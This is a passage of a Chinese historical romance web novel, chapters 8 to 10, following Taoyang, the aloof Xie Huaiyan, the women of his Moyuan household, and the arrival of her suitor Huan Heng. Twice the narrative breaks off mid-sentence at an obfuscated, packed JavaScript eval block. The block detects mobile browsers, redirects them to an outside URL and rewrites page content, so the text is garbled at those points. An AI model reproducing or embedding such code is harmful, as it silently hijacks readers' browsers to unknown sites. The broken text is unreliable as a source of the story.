桃漾抿了抿唇,片刻后,对他颔首:“多谢二公子。”她施礼:“天色不早,我先回去了。”此时窗外天色愈发暗沉,山中林木旺盛,遮蔽了日光。 桃漾走出水榭时,才发现外面已经落了雨。 淅淅沥沥,绵绵沙沙。 青石板上沾了雨,又湿又滑。 桃漾手撑一把绘梅油纸伞走在前,谢怀砚走在她身后。 六月的天,已显闷燥。 雨水洒落,山中空气清新而凉爽。 一路无言。 只时而传来几声聒噪蝉鸣,葱郁林木间时有鸟儿暂歇。 桃漾今儿身上着的依旧是件素色衣裙,只裙摆处绣了两只灵动的蝶,谢怀砚走在她身后,让她如芒在背,可偏偏她又不敢走快,摔跤了更是不好。 一阵沾了湿气的微风拂来,将她垂落在肩的青丝吹起。 其中一缕犹如宴席上的灵动舞女,在风中来回游转。 与桃漾相比,她身后之人很是散漫,不经意间抬起修长指节,将她那缕不听话的青丝抚在指间,轻软滑腻,触之生凉,绕指而缠,酥酥麻麻,指节缠满,微微停滞,青丝便随风再次被吹起。 谢怀砚收回冷白指节,指腹轻捻,触在鼻间轻嗅。 玉兰香。 依旧夹杂了莲子清甜的味道。 还有一股若有似无的气息。 谢怀砚有些微出神,温和的眉眼染上清寒,只一瞬,他掀眸盯着桃漾的身影。 聘聘婷婷,婀娜多姿。 着实是勾人。 “桃漾妹妹。” 他忽然在身后开口。 8. 第 8 章 桃漾侧身回眸,带动着油纸伞上的水珠随力跳动,旋转而落。细雨朦胧,桃漾在伞下抬眸与他相视,眸中露出不解,下意识轻疑:“嗯?” “当心脚滑。”他随口道。 桃漾对他颔首。 到了山下后,径直回了韶院。 走了这一趟,身上的衣衫鞋袜多少沾了些潮气,桃漾回到西厢房后先让杏枝去备水沐浴。她在净室里待了有两刻钟,出来的时候谢嫣正在她的屋内坐着。 桃漾倒是惊了下:“嫣儿妹妹。” 谢嫣正望着窗外的雨出神,闻言面含笑意看向桃漾,给她指了指八仙桌上的竹木盒,笑盈盈道:“府上新运来些新鲜的桑葚,这东西不能存放,我来给你送些过来,”嫣儿往嘴里塞了一颗:“可甜了呢。” 桃漾对她道谢,让杏枝去给人添茶。 谢嫣在这里和桃漾小待了会儿,瞧见桌上搁着的一只精巧小檀木盒,拿在手中好奇问道:“桃漾姐姐,这是什么呀?”桃漾回到屋中后就去沐浴了,随手将这只檀木盒搁在了这里。 她回谢嫣:“是二公子给的。” 谢嫣闻言瞬时来了兴致,边打开边道:“二哥哥给的定是好物件,我来瞧瞧。”谢嫣打开木盒的一瞬面色欣喜,看到里面的物件时却抬了抬眉,桃漾看在眼里,闲话道:“二公子对府中弟弟妹妹皆关怀备至,想来这耳珰嫣儿妹妹见过。” 谢嫣抬眸对桃漾莞尔:“是有些眼熟,不过也记不起是在哪儿见过了。”谢嫣将檀木盒合上,转了话头与桃漾说起别的。 —— 时下佛法盛行,谢老夫人近年来时常诵经念佛,自端午节后,青城观里的僧人就下山来讲授佛法,这日,家主谢蕴将僧人请进府中来,与谢老夫人讲解探讨。 既然人请进了府中,谢老夫人就吩咐下去,让府中的女眷都来存玉堂,也好开开悟。 天朗云清,花香四溢。 僧人声音沉稳如钟,孜孜不倦讲授佛法中的《涅槃学》。 灭生死之因果,度生死之烦恼。 一场佛法自申时讲授至酉时,高僧赠予每位女眷一串菩提佛珠,以保平安顺意。谢老夫人虽神色稍显疲倦,心情却是大好,待僧人离去后,她欲留下这些晚辈们,让她们都说说各自的见解。 可一抬眼瞧过去,姑娘们各个偷偷的打着哈欠,也就瞧着那佛珠时有上几许欣喜。 谢老夫人沉了眼,刚欲斥责,随后心念一转,对她们开口:“都下去罢。”她让这些孩子们都下去,留了几位儿媳与分支里来的妇人在此,与她们说些话。这些日子以来,桓馥不是在老夫人身边侍奉着,就是与各位夫人在一处。 如今桃漾的亲事也算是有了着落,她也是时候为谢玉梵做些打算,对于各大士族中适婚品性又不错的郎君,桓馥身在阳夏,终是比不得谢氏本家的夫人知晓的清楚。对此,桓馥倒是很乐意与老夫人探讨上一二。 姑娘们都散去。 桃漾也回了韶院。 院中清静,自端午节过后,桃漾就很少在院中见到谢玉梵。 谢玉梵喜好交友,也有意和谢氏本家里的姑娘们交好,整日里早出晚归的跟人去游玩赏景,几乎比桓馥还要忙碌。 一年之中,能来谢氏本家的时候不多。谢澜亦是整日忙于应酬,好得了谢氏本家人的照拂,在阳夏能升个一官半职,受人敬重。这院中偶尔是桃漾和幼弟谢敛两人在,偶尔就像现在这样,只有桃漾一人。 夏日的日头落的晚,酉时天光还大好,谢玉梵一改往日早早的就回了韶院,见到桃漾在院中凉亭下翻看书卷,就走了过去,先让杏枝给她添了杯茶水,随后故作神秘与桃漾道:“五姐姐可还记得陈月漪么?” 桃漾神色清淡,边翻着书页边对她应着:“记得。” 谢玉梵用了口茶后搁下杯盏:“我适才见到她了,她还跟我说,她如今身份低贱,五姐姐若是不嫌弃,想跟五姐姐见上一面。”桃漾闻言落于书页之上的指节微蜷,抬眸看向谢玉梵。 陈月漪是桃漾在阳夏时的知心好友。 陈氏虽为士族,却已没落多年,空有士族名头,几年前,陈氏家主犯下大错,举家被带往建康问罪,那时,桃漾能帮陈月漪的只能是给她些银子,让她路上能少受些罪,后来她也有暗中打探过。 听闻,陈氏一族早在去往建康的路上就已遇难。 她未想到,此时能在淮阳听到陈月漪的消息。 陈月漪约桃漾在谢府后园的湖心亭见面,桃漾去到的时候,陈月漪已在等她。三年未见,少女容颜已褪落青涩,陈月漪身着锦衣,珠钗翠环,见到桃漾既惊又喜,上前就握住了桃漾的手。 两人落座,自是一番问候。 湖心亭四周静谧,偶有仆人经过,两人用些茶水点心,闲话了好些时候。 陈月漪主动说起自己的事:“我如今是二公子院里的人。”她说的平和,面上不见情绪。 桃漾早在谢玉梵给她传话时,心中就已有了猜测,陈月漪应是谢氏府中哪位公子的侍妾,只是她没想到,陈月漪竟是在墨园。桃漾眉目温和,对她颔首,陈月漪便继续道:“当年去往建康的路上确实是遇了难,只不过,我被沈氏的大郎君给救了。” 陈月漪自嘲:“他为我赐名,充入乐籍,想收我入房,可他那夫人不是个好惹的,他不敢得罪,就只能把我放在他夫人身边为奴做婢,欲找准时机行事,后来有一日,他忽然跟我说,我的好日子到了。” 陈月漪笑:“当时我吓坏了,以为他是要我的命,却不想,他是要把我献给谢氏嫡出的谢二公子。”陈月漪见桃漾只是听着她说,知道桃漾是心疼她,知足道:“在这里也挺好的,南北动乱,亦不太平,与其在外面苟且偷生,在这里不止吃住好,院中还有十几个姐妹作陪,二公子人也很好。” 桃漾看着她身上的锦衣华服,碧玉珠钗,没再与陈月漪说这些事。 湖中起了风,传来阵阵清香,陈月漪先是看了看四周,随后眸光落在桃漾披落在肩的青丝上,她往前倾身,在桃漾发间嗅了嗅:“好清甜的味道,我还以为是哪儿吹来的花香,阿漾,你用的什么香粉?” 桃漾顺着陈月漪的动作,往自己发间看了看,轻声道:“是我自己调制的香,”她轻笑了下:“你知道的,我对蚌粉过敏,街市上胭脂铺子里的香粉、香膏都含有此物,我只能闲来无事捣鼓些香料来自己用。” 陈月漪又趴在她肩上闻了闻,跟只小狗般:“太好闻了!” 桃漾见她喜欢,就道:“我写张方子给你,都不是什么名贵的香料,你闲暇时可以做来用。”陈月漪自是兴奋,扯住桃漾的手:“你还未去过墨园吧?走,我带你去墨园里走走。” 桃漾闻言神色微怔。 陈月漪道:“二公子一早就出了墨园,听闻陛下派了朝臣前来为谢老夫人祝寿,二公子去官署了,今夜都不一定回。”桃漾对她莞尔:“我昨儿刚去过墨园,空渊引着我绕来绕去的,也算是逛了一圈,便不去了。” 桃漾总是这样的,她神色间始终带着温浅的笑,让人如沐春风,似是性情软软糯糯的兔儿,可她的话语却又是坚韧不可改的,陈月漪不再劝,唤了仆人取来纸笔,桃漾就将方子写给她。 —— 翌日一早,谢怀砚回了府。 往年里陛下也都会命人给谢老夫人送来贺礼,只不过今岁是谢老夫人的六十整寿,陛下就命礼部司郎中亲自前来送上贺礼,以表重视。只不过,这礼部司郎中是颍川庾氏的五郎君庾子轩。 颍川庾氏与淮阳谢氏同为士族门阀,常有来往,若论起来,皆有姻亲,庾子轩领了旨后,正巧遇上沁原王氏的三郎君,知他得了圣命要来淮阳,也非要跟着来。 庾子轩不过在建康耽搁了两日,代表当今陛下前来给谢老夫人祝寿的人就变成了五位。 “初夏盛景,美不胜收。我已两载未来过淮阳,庾五,你别嘟嘟囔囔的了,陛下不会怪你的。” 庾子轩生气不理他,只看向谢怀砚:“怀砚兄,我知你事务繁忙,不如将他们四个都赶出去,省得扰你心烦。”几个人自年少时便相识,说笑一番,谢怀砚神色温润,轻笑:“贵客前来,岂有不款待的道理。” 当晚,谢怀砚在鹿鸣山别苑设宴。 自谢氏府宅南门而出,有清泉小桥,踏桥而过,沿着一片海棠花林,便入鹿鸣山的地界。 这座山四时景好,山秀水亦清,只泉眼便有十数处,谢怀砚早在几年前就在此建了别苑。 偶尔会来住上几日。 日光渐弱,漫天霞红。 宴席设在一片落英缤纷的木槿花树下,山中凉爽,公子们谈诗论赋、举杯豪饮,自是不必说。 酒酣言欢,到了尽情处,自是少不得要用上些五石散。 在座之人,除却庾子轩外,都服用了些,谢怀砚亦是。 宴席上有着绿衣、 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14997162|161679||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 红衣女子二人,皆以薄纱遮面,一女子端坐古琴前抚琴,一女子怀抱琵琶与其合奏《浔阳夜月》。琴声悠扬,琵琶声婉转。不时,又有女子前来献舞。 舞者共有十二人,身着明艳服饰,举止温雅。 是谢怀砚墨园里的女子。 王氏三郎君是谢怀砚的表兄,这其中一位女子还是他送给谢怀砚的,心下不解,眸光朝谢怀砚那里望过,见他正散漫的饮酒,王三眉心抬了抬,这十二位女子应都是他院中的美人。 舞姿婀娜,婉若游龙。 谢怀砚微凉指腹摩挲着杯盏,一双好看的眸子在翩翩而动间流转,抬起杯盏用完杯中酒,待一曲舞尽,四周传来赞扬声时,他抬手指了指站在最右侧的一位女子,示意她走近。 这女子虽已在墨园住了近一载,谢怀砚却似乎不记得她的名字,她款款上前,半跪在一侧,柔声道:“青鸢给公子斟酒。”她是个聪明的,懂得察言观色,谢怀砚在她眉眼间打量,向前倾身,在她耳边低声:“去卧榻等着。” 青鸢抬眸,既惊又喜。 她起身,施礼退下。 已是戌时,饮酒作乐了一个多时辰,两侧的公子都有些吃醉,又服了散,自是看出谢怀砚是来了兴致,庾子轩先起身,神色平和道:“听闻鹿鸣山中五步一灯,夜景甚好,我去走走。” 谢怀砚对他颔首,随后看向剩余的十一位女子,淡声吩咐:“公子们醉了酒,好生侍奉着。”他起身,抬步往他的院中行去。 这十一位女子中,也有陈月漪。 她们都是身份低贱之人,在这天下不平的世道中,被当作礼物献出去。那日,她对桃漾说她很知足,虽不全是真心,却也作不得假,自家族落难,她过的最快活的日子就是在墨园。 当初二公子途径司州,司州刺史设宴款待,那时正值盛夏,酷暑难耐,后厨的一位做糕点的女娘着了暑气昏阙过去,她与她还算交好,就帮着她做了一盘莲子糕,之后,便是沈大郎君对她说她的好日子到了。 因着那份莲子糕,公子带她来了淮阳。 比起沈大郎君,她是愿意跟着二公子的,既然他喜欢她做的莲子糕,或许她这一生的命运还能有些转机。 可他并未碰她。 不止是她,墨园里被他收下的女子都一样。 她们都曾来过鹿鸣山中他的别苑,沐浴后换上一件明艳衣裙,发钗素雅,耳上戴一副红玉镶翠的耳珰。他眸光深邃的看着她们,一言不发,神色由温润变得清冷。 起初,她们也会去猜测缘何,都想飞上枝头能一直留在谢氏,避免日后再过流离不安的日子,后来也就渐渐不再想了,好在二公子也一直未将她们中的任何一个送出去。 谢怀砚适才的话在座的人自是听明白了。 一盏茶的功夫,只剩七位女子还留在此处。 她们面面相觑,有艳羡的,有感慨的。 陈月漪有些伤情,她知道,除却去了公子屋里的青鸢外,其余的四个日后是不能再待在墨园了,这些公子都是建康城来的,日后她们都是要跟着去那里的。 陈月漪道:“夜里风凉,咱们站这作甚,回吧。”她话音刚落,就瞧见不远处一道倩影垂首朝她们跑来,待走近了才听见她的啜泣声,青鸢泪眼涟涟,扑在最靠前的陈月漪怀中,口中啜泣:“我明明用了昨日的香膏,里里外外都用了,可公子还是说味道不对——” 青鸢是个聪明的,自昨日谢怀砚命空渊给她们每人送去一罐香膏时,她就觉察到些别的,不止沐浴后在身上涂了一遍,就连衣裙上、青丝上都涂抹了些。本以为一切都对了。 可还是不行。 陈月漪将桃漾给她的香粉方子交给空渊后,就有制香师傅来了墨园。 桃漾用的香粉都不是名贵香料,且种类不多,制香师傅不过半个时辰就调制了出来。只不过,这香粉调制了一罐又一罐,书房内的那位始终是不满意,陈月漪也不知后来是为何。 空渊就将调制好的香粉给她们送了来,让她们每人都用上,今夜前来献舞。陈月漪宽慰着怀中的青鸢,闻到她身上的气息,不禁微微皱起了眉,桃漾身上的气息不是这样的,可桃漾没必要给她写一张错误的香料方子。 书房内。 谢怀砚今日饮了不少酒,又服用了五石散,此时,他眼尾绯红,衣襟敞开,修长指节抵额,神色算不上是好看,空渊上前,小心翼翼问:“公子可要冷水浴?” 9. 第 9 章 空渊问完垂首。 默上片刻,谢怀砚抬眸,朝着窗外夜色望了眼,回空渊:“不用。”他起身,推门而出,往鹿鸣山中去行散。 山中静谧,夜风挟着花香而来,拂在面上,有丝丝清凉。 谢怀砚身上着锦衣宽袍,月光将他清冷面容染上几分温润,行走在山路间,随着体内五石散带来的燥热散去,眉目逐渐清朗,更显矜贵逸美。 “适才席间子轩兄不曾多饮,却是一个人躲在这里独酌。”谢怀砚行至一处山间古亭,在庾子轩对面落座。 庾子轩对月独酌,竟是未注意到身后动静,听到这话才收回与月对视的眸子,对谢怀砚爽朗一笑:“让怀砚兄见笑了。”他手抬酒壶,往口中又灌了一口:“今夜本无酒兴,可在这山中行上片刻,却是深觉不酣饮畅快实在对不住这夜间美景。” 谢怀砚轻笑,抬手斟了杯茶水饮下。 对月无声,庾子轩见谢怀砚着宽袍行散,神色间不见旖旎,开口道:“怀砚兄既来此处,想是不合心意。”在庾子轩看来,那些女子美则美矣,只是他瞧着,太过于千篇一律,若只看背影,几乎是一般无二。 谢怀砚只轻笑。 夜风阵阵,古亭下南面的山路间,传来女子清脆的说话声,越来越近,很快,就有粉绿衣衫映入眼眸,谢嫣和桃漾两个人手中各提一盏灯,正在低头寻着什么,像是两只夜间寻食的小松鼠。 谢嫣抬眸,才见古亭中有人。 “二哥哥。”谢嫣提裙快步走过去:“二哥哥是在此赏月么?”直到走进古亭,谢嫣才看到对面坐着的庾子轩,微诧之余对他温婉见礼,桃漾也走过来,她自来淮阳后,身上衣衫皆素雅,今日倒是难得的穿了件烟碧色轻纱裙,微风拂起衣摆,与今夜的月色格外相衬。 桃漾隔了几步距离对谢怀砚和庾子轩见礼。 庾子轩起身回礼,觉得桃漾有些眼生,多瞧了桃漾一眼。 谢怀砚侧眸,神色淡淡在桃漾身上扫过,目光落在谢嫣身上,问她:“东西可寻到了么?” “二哥哥怎知我是来寻东西的?”问完,谢嫣也反应过来了,有些烦闷回:“没呢,这只洛神玉坠我最宝贝了,今日午后来这里泡温泉,也不知是丢在哪处了。” 谢怀砚搁下手中茶盏:“我那里倒还有一块,等下让空渊给你送去。”谢嫣闻言大喜,杏眸睁的圆圆的,语气也由烦闷变得轻快:“谢二哥哥。”那只玉坠是早几年谢怀砚前去建康时所得。 当时谢嫣年纪尚小,瞧见谢怀砚腰间佩戴的玉坠,喜欢的挪不开眼,谢怀砚就随手给了她。 谢嫣本以为那玉坠只此一块,不成想二哥哥这里还有一块,欢喜的扯着桃漾一蹦一跳的离开了这里。 庾子轩看着她们走远的身影,再饮了口酒,感慨道:“我颍川庾氏自我出生后,府中就再未有过女郎,”他似是犯愁:“整日里走到哪碰到的都是幼弟,连个妹妹都没有,真羡慕怀砚你。” 谢怀砚不知何时已起身,负手而立,点墨般的眸子观着清月,神色漠然:“做妹妹有何好,”他眉心微抬,语气沉下:“倒不如——不是。” 庾子轩醉了酒,也起身,对着天上明月高歌,惊得四周鸟儿轰散。 —— 桃漾陪着谢嫣走了这么一趟。 谢嫣送给了她一壶‘云仙酿’,谢嫣的婢女巧儿抱着满怀了的大酒壶往桃漾跟前递时,桃漾惊的下意识往后退了两步,谢嫣笑笑的说:“昨儿我见你父亲和大伯在一道吃酒,想来他喜欢这个。” 谢氏家主谢蕴,好酒且喜酿酒,这些年前来投奔谢氏的幕僚中,但凡是对酒颇有研究者,谢蕴总会优先考虑。 云仙酿便是谢蕴这些年用心所得。 桃漾的父亲谢澜确实不止一次提到过谢氏本家的云仙酿,桃漾也就未跟谢嫣客气,将大酒壶抱在怀里回了韶院。 府中烛火通明,桃漾回到韶院时,见父亲书房里的烛火还亮着,就抱着酒壶往谢澜书房走。此时,书房内桓馥也在,谢澜和桓馥夫妻二人相对而坐,谢澜神色温和为夫人添了杯茶,语气含笑道:“自淮阳往南行上一日车程便到青梧,上次与玉彰在司州碰面,还与我说起他夫人时常说让咱们去青梧小住上几日。” 桓馥听闻,也是忆起了从前与袁夫人在一处时的光景,她们话语相投,分别时不舍,如今不觉间已是有几年时日未见,桓馥心中自是欢喜:“待老夫人的寿辰过去,咱们一家人就去趟青梧。” 谢澜颔首:“我正是此意,只不过,”谢澜面色迟疑,搁下手中杯盏握住桓馥的手:“夫人,我是打算只带着敛儿和阿梵去。” 桓馥面上的笑意渐渐消散:“漾儿——”谢澜打断她,意味深长道:“夫人,你就成全我这个心愿罢。让桃漾先自个回阳夏,你若觉得亏欠,咱们回阳夏时给她带件礼物。” 书房内沉默片刻,桓馥未再说话,算是默许了谢澜。 桃漾抱着沉沉的酒壶站在一门之外,神色清淡,未有迟疑,转身往她的西厢房里回。 她脚步很轻,行走在夜色中,无人察觉。 上弦月高挂于空,不知哪儿来的一只狸奴,在院中石桌上跳来跳去,桃漾听到身后的雕花木门由内而外被推开,停下脚步回过身,桓馥与谢澜正站在门前,桃漾面色不显,嗓音含笑道:“爹,娘,”她抬手示意了下怀中酒壶:“嫣儿妹妹给的云仙酿,我来给父亲送过来。” 她已走至近院门的位置,与书房隔了些距离,桓馥只以为她是刚从外面来,心里稍安,出门走上前,嗓音柔和:“你父亲最喜云仙酿,你这时候给他送来,等会儿指定要吃上几杯。”桃漾将云仙酿搁在石桌上,盈盈一笑道:“娘若是怕爹爹贪杯,不妨先给藏起来。” 桓馥扯住她的手,让桃漾在石桌前坐下,与她道:“待老夫人的寿辰过去,娘与你爹,弟弟妹妹一道去趟青梧袁氏,咱们已来淮阳这么久,阳夏家中虽有你伯娘她们在,我也是不放心,到时你先回阳夏帮娘料理府中事,可好?” 谢澜也自屋内走出,站在院中,并未落座。 桃漾闻言,脸上笑意淡了些,钻进桓馥怀中跟桓馥撒娇:“娘,我也想跟你们一起去。听闻青梧山水秀丽,洛善寺就在青梧,求愿可灵了呢。”她乖乖巧巧的,话又说的柔,像只林中灵动的小鹿。 桓馥心中升起愧意。 谢澜怕夫人一时心软再改了主意,恰到时宜的清了清嗓子,与桃漾说:“漾儿是有什么心愿要去求么?让你娘去洛善寺走一趟,为你求张许愿符带回去。”桃漾抬眼看向谢澜,想了想,面上染上笑意:“也好,那就辛苦娘了,阳夏家中是不能太久不回,我听娘的,先回去。” 桓馥抬手将她额前碎发抚至耳后,在她发间抚了抚。 桃漾看了眼天上月,随后站起身:“夜色不早了,我先回屋了,爹娘也早些歇着。” 桃漾回到屋中,沐浴一番后上了榻。 她躺在枕上,有些睡不下,自来淮阳后,她夜里一直都睡不安稳,就算点上安神香也无用。床边小几上杏枝给她留了一豆烛火,桃漾自身前将那枚一直佩戴在身上的血红玛瑙捏在指腹间来回瞧着。 已是五月中,过上几日桓恒就会来了。 她不想将命运交在任何人手中,可这世间哪有出路。 —— 翌日一早,桃漾随桓馥去给谢老夫人请安,待一群人请安过后,正在院中吃茶闲话,早几日在莲园不慎掉落湖中的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14997163|161679||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 庆小郎君身子已大好,不知从哪儿钻出来,跑到桃漾面前,将他荷包里的酥饼递给桃漾吃:“姑姑,给你。” 庆小郎君谢庆知不过四岁半的年纪,语气稚嫩,一双黑亮的眸子炯炯的看着桃漾。 桃漾微笑着摸了摸他的头,将一小块酥饼接在手中,对他道谢,还把自己荷包里的桂花糖塞了他一小手。一屋子里的人都看在眼中,谢老夫人瞧着这一幕,不禁笑问小重孙儿:“庆儿,你那酥饼好吃么?”谢庆知连连点着小脑袋。 谢老夫人慈和的笑:“这么好吃啊,为何只给这个姑姑啊?” 谢庆知再次抬起脑袋看着桃漾,懵懂却坚定:“我喜欢这个姑姑。”小家伙说着,还抬起小手扯住了桃漾的手。 谢念今日刚被解了禁足,看着眼前这一幕,心头没来由的气闷,瞥了桃漾一眼。她正恼着,忽听一道温润的嗓音响起:“庆儿是有福之人,逢凶化吉,身子恢复的不错。”是二哥哥,谢念抬眸看他一眼,随后又垂下脑袋来。 谢庆知的母亲荀氏大惊一场后,心中尤是后怕,心疼的看着儿子,心中也是感慨万千:“庆儿受了惊,多亏母亲请来净空大师为他安神。”谢怀砚闻言轻笑,神色淡淡往另一侧的谢念处看过去:“听闻念妹妹为庆儿抄了好几日的佛经祈福?” 谢念忽然被点名,抬起头来,轻‘嗯’了声。 谢怀砚再道:“念妹妹心诚,感动神佛,祖母寿辰将至,不如也为祖母再抄上几卷经书,祈福祖母安康长乐。”谢怀砚话说的随意,可在这府上,谁都知道他的话惯来没有反驳的余地。 谢念这几日闷在佛堂不得出,抄佛经抄的手腕酸痛,是再也不愿抄写经书了,而且,再闷下去她就要疯了,是以,她站起身来回绝:“二哥哥,念儿是有心为祖母祈福,只是我和沅妹妹约好了一道去西郊别苑小住几日,待回来——” 谢怀砚神色平和打断她:“既如此,不如沅妹妹一起?” 坐在老夫人身侧的谢沅闻言心中一紧,这几日,她心中过的战战兢兢,生怕老夫人知那日是她陪着谢念一起的,她只是养在谢老夫人身边的分支女,不敢回绝,只起身回:“沅儿正有此意,为祖母抄经祈福。” 谢念不敢再吭。 只抬眸悄悄看了眼谢怀砚。 二哥哥今日是怎么了? 他不是最厌恶桃漾的么? 热闹了一番,谢怀砚还有公务要忙,自离去。 往日里谢怀砚常来存玉堂请安,却不久待,一向待这些弟弟妹妹们都亲和,也甚少理会她们的那些事,谢夫人不禁眉心微皱,她看的出来,他今日心情似有不悦,也不知是谁招惹了他。 在谢老夫人的存玉堂待至巳时,众人皆散,桃漾也是要与桓馥一同回韶院的,谢庆知却又跟过来,扯住她的衣袖让桃漾陪她去玉兰园里荡秋千,桃漾应下他,直到近午时的时候才回韶院。 庆小郎君闹人的很,桃漾陪了他这么久有些疲倦,走上抄手游廊正欲先回厢房里歇上会儿再去桓馥那里说话,刚一走进屋门,见杏枝眉欢眼笑,乐的嘴都合不拢,桃漾轻笑问她:“发生何事了?” 她在桌前坐下,杏枝给她添了杯茶水:“姑娘,近午时了,你不去夫人屋里么?” 桃漾慢悠悠的用茶:“不急,歇会儿再去。”杏枝急,顿了顿,又委婉道:“夫人早起时只用了碗粥,怕是午膳用的早。”杏枝提醒着,桃漾将手中茶盏放下:“天气越发热了,母亲许是胃口不好,午后你去街上走一趟,买些山楂干和酸梅,我给母亲做些开胃的点心。” 桃漾说完起身,往桓馥屋里去。 刚走下抄手游廊的石阶,便听见屋内有说话声,声音清朗且中气十足,很明显是男子的声音。 10. 第 10 章 桃漾脚下步子微顿,正巧谢玉梵自屋内走出,瞧见桃漾后,先是打趣她:“五姐姐隔的这么远就听出声音了么?”随后回身对屋内的桓恒道:“呐,五姐姐来了。”桓恒正在用茶水,闻言险些呛了下,搁下杯盏就站起身来,走至屋门前和桃漾隔了些距离相对。 “桃漾妹妹。” 桓恒目光痴痴的望着桃漾。 桃漾眉眼温和,对他莞尔,见了礼,朝他这边走过来,问他:“何时到的?” 桓恒轻笑:“刚到。” 谢玉梵又在一旁嘟囔:“有一炷香的时辰了,母亲让杏枝去寻你,恒哥哥不让,说是怕扰了你荡秋千的兴致。”桓恒看了谢玉梵一眼,示意她不要再说。 桃漾抬眸看他:“恒哥哥进屋说话罢。” 桓馥正在八仙桌前坐着,听着外面这些孩子们青涩的言语,桃漾坐在她身侧,桓馥看她往日里都是清淡从容的神色,此时娇靥上却是升起片片绯红,如海棠林中盛放的海棠花瓣。 正是到了用午膳的时候,桓馥留了桓恒在这里用膳。 谢老夫人的寿辰还有半月时日,除却谢氏分支以及陛下派来的那几人早就在谢氏本家住下外,其他前来贺寿的士族皆还未至,桓恒是来的最早的一个。 大多数士族前来淮阳谢氏贺寿,不过是在这里待上两三日。 往年里这两三日倒未觉得短促,可自那日在翠鸳湖畔桃漾与他说,此次她会前来淮阳贺寿,桓恒便总觉不够。整日心神不宁,如害了相思病一般,最后思来想去未与家族中人一道,独自一人先来了。 用过午膳后,桓馥眉目含笑,道:“这些日子漾儿对府中也熟悉了,谢氏为客人安排的居所在北院,你带恒儿过去罢。”少年少女的情意虽极力掩饰,却始终挂在眉眼,桓馥瞧着欢喜,不扰他们。 桃漾应下,和桓恒一道出了正屋,待走至院门前时,她温声对桓恒道:“恒哥哥,你等我一下。”说完,她就往她住的西厢房走过去,不过片刻的功夫,手中拿了一物再次走出。 “上回见你身上的香囊旧了,我就给你再绣了一只。”桃漾将手中墨蓝色绣莲的香囊递给他,两个人沿着青石板路朝北院的方向走。 桓恒自她手中接过,心中欢喜,不过,眼睛却还盯着桃漾手里,笑问:“这还有一只,桃漾妹妹是要送给谁?”桃漾把手中的另一只绣了红豆的也往他跟前递,眉眼清和,从容大方,却又带着些女子的羞涩:“这里面放了龙脑苏合香,都是消暑醒神的香料,给你避暑用。” 桓恒自是接过,将两只香囊都挂在了腰间,之前桃漾送他的那只虽已有些旧了,他摘下后还是小心翼翼的收在怀中。随后自袖袋中取出一方小木匣,递在桃漾面前:“桃漾妹妹为我绣香囊,辛苦了。” “我也给桃漾妹妹准备了礼物。” 桃漾抬眸看过去,小木匣在桓恒手中打开,里面却是一只‘机关盒’,桃漾不解的看他,桓恒与她卖关子:“我送桃漾妹妹的礼物就在这机关盒子中,桃漾妹妹自己来破解。” 桃漾轻笑:“哪有送人礼物还给人出难题的?”她口中这么说,手上已经不自觉的开始来回摆弄那只机关盒。 桓恒出自竹陵桓氏二房,他父亲是豫州出了名的才子,所作诗书广为言传,桓恒的学问也不差,只是他无心作书写画,一心扑在机关术上,是个痴迷的匠人。 两人边说边走,不知不觉就已走到了北院的垂花门前,桓恒的心思都在桃漾身上,桃漾还在套桓恒的话,想知道这机关盒如何才能破解开,两个人都没有察觉到迎面走来的脚步声。 还是对面的庾子轩先开口,既惊又喜:“桓四,你何时来的?”颍川庾氏与竹陵桓氏这些年往来甚少,不过,庾子轩与桓恒有着同样‘机关术’的爱好,两个人倒是私下交好,此刻见到桓恒,庾子轩乐的眉毛都要飞起。 他这么一喊,桃漾和桓恒都回了神,抬眸看过去,几步之隔,站着的不止是庾子轩,还有谢怀砚。 他神色清淡,身上着一袭鸦青色锦袍,长身玉立,袖摆间金银绣线勾勒而成的鹤在日光下熠熠生辉,更显气度矜贵,一双清冷的桃花眼正在看着桃漾。 见礼后,桓恒回庾子轩的话:“午时刚到。”庾子轩乐呵呵的:“你不知道,我一直盼着你来,上回做的那只木雕,机关如何也不对,”庾子轩兴奋奋说完后,转而看向谢怀砚:“怀砚兄,我晚些时候再去墨园寻你。” 谢怀砚闻言轻笑,对他颔首。 庾子轩便对桓恒又道:“你快来给我瞧瞧。”他上前就要拉桓恒,被桓恒抬手给躲开,对他抬了抬眉示意,庾子轩这才反应过来,看向安静立于一侧的桃漾,讪讪道:“瞧我,这机关术非一时半刻通透,晚些时候也行。”庾子轩嘴上这么说,语气中却依旧带着急躁。 桃漾和桓恒适才不知不觉就走到了北院垂花门,也不适合再往里走,对庾子轩莞尔,而后看向桓恒:“恒哥哥你们自去忙,我先回韶院。”有了桃漾这句话,庾子轩立时扯住桓恒的衣袖就往北院走,还回身对桃漾道:“好嫂嫂,我只没眼力这一回。” 桓恒嫌弃的瞪他一眼,边走边回身与桃漾说:“晚些时候我再去韶院给姑母请安。”正是因着有这层表兄妹关系,桓恒才这么早的就来到淮阳,就算他整日待在韶院,说出去也只是对姑母孝敬。 桓恒被庾子轩拉扯着在谢怀砚身侧走过,夏日午后微燥,阵阵暖风轻拂,将桓恒腰间刚挂上的香囊气息吹散,清淡气息丝丝缕缕缠绕呼吸间,是莲子清香和一些醒神的香料,谢怀砚 